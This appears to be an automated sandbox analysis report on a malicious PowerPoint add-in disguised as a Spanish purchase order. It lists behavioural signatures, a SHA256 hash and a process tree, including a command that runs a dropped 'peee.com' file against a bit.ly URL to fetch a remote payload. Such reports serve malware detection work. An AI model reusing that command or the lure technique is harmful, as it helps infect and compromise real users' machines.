Analysis
- max time kernel
157s - max time network
179s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
11/02/2022, 07:13
General
- Target Orden de Compra PDF.ppam
- Size 30KB
- Sample220211-h147cacbg3
- SHA256 b8792eb1beaba9a56b5263992d4c4df57ed1598d45dd86ea4f864aaa40c6be74
Malware Config
Signatures
- Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Drops file in Windows directory 8 IoCs
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 5 IoCs
- Modifies data under HKEY_USERS 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Orden de Compra PDF.ppam" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\peee.comC:\Users\Public\peee.com https://www.bitly.com/ehwjkqdaehoqwskjdhfjsfhjsfhssdh2⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2368 -s 21723⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
-
-
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 416 -p 2368 -ip 23681⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/636-142-0x000002BD9B6E6000-0x000002BD9B6E7000-memory.dmp
memory/636-130-0x00007FFA7DBF0000-0x00007FFA7DC00000-memory.dmp
memory/636-134-0x00007FFA7DBF0000-0x00007FFA7DC00000-memory.dmp
memory/636-135-0x00007FFABDC0D000-0x00007FFABDC0E000-memory.dmp
memory/636-136-0x00007FFABDC10000-0x00007FFABDC11000-memory.dmp
memory/636-131-0x00007FFA7DBF0000-0x00007FFA7DC00000-memory.dmp
memory/636-152-0x00007FFA7DBF0000-0x00007FFA7DC00000-memory.dmp
memory/636-150-0x00007FFA7DBF0000-0x00007FFA7DC00000-memory.dmp
memory/636-140-0x000002BD9B6E6000-0x000002BD9B6E7000-memory.dmp
memory/636-141-0x000002BD9B6E9000-0x000002BD9B6EA000-memory.dmp
memory/636-151-0x00007FFA7DBF0000-0x00007FFA7DC00000-memory.dmp
memory/636-143-0x000002BD96279000-0x000002BD9627A000-memory.dmp
memory/636-133-0x00007FFA7DBF0000-0x00007FFA7DC00000-memory.dmp
memory/636-149-0x00007FFA7DBF0000-0x00007FFA7DC00000-memory.dmp
memory/636-132-0x00007FFA7DBF0000-0x00007FFA7DC00000-memory.dmp
memory/3492-153-0x00000215FFA40000-0x00000215FFA44000-memory.dmp
memory/3664-156-0x000001A9CE550000-0x000001A9CE554000-memory.dmp
memory/3664-139-0x000001A9CE520000-0x000001A9CE524000-memory.dmp
memory/3664-138-0x000001A9CC130000-0x000001A9CC140000-memory.dmp
memory/3664-154-0x000001A9CE7F0000-0x000001A9CE7F4000-memory.dmp
memory/3664-155-0x000001A9CE7D0000-0x000001A9CE7D1000-memory.dmp
memory/3664-137-0x000001A9CB5A0000-0x000001A9CB5B0000-memory.dmp
memory/3664-157-0x000001A9CE540000-0x000001A9CE541000-memory.dmp
memory/3664-158-0x000001A9CE540000-0x000001A9CE544000-memory.dmp
memory/3664-159-0x000001A9CE440000-0x000001A9CE441000-memory.dmp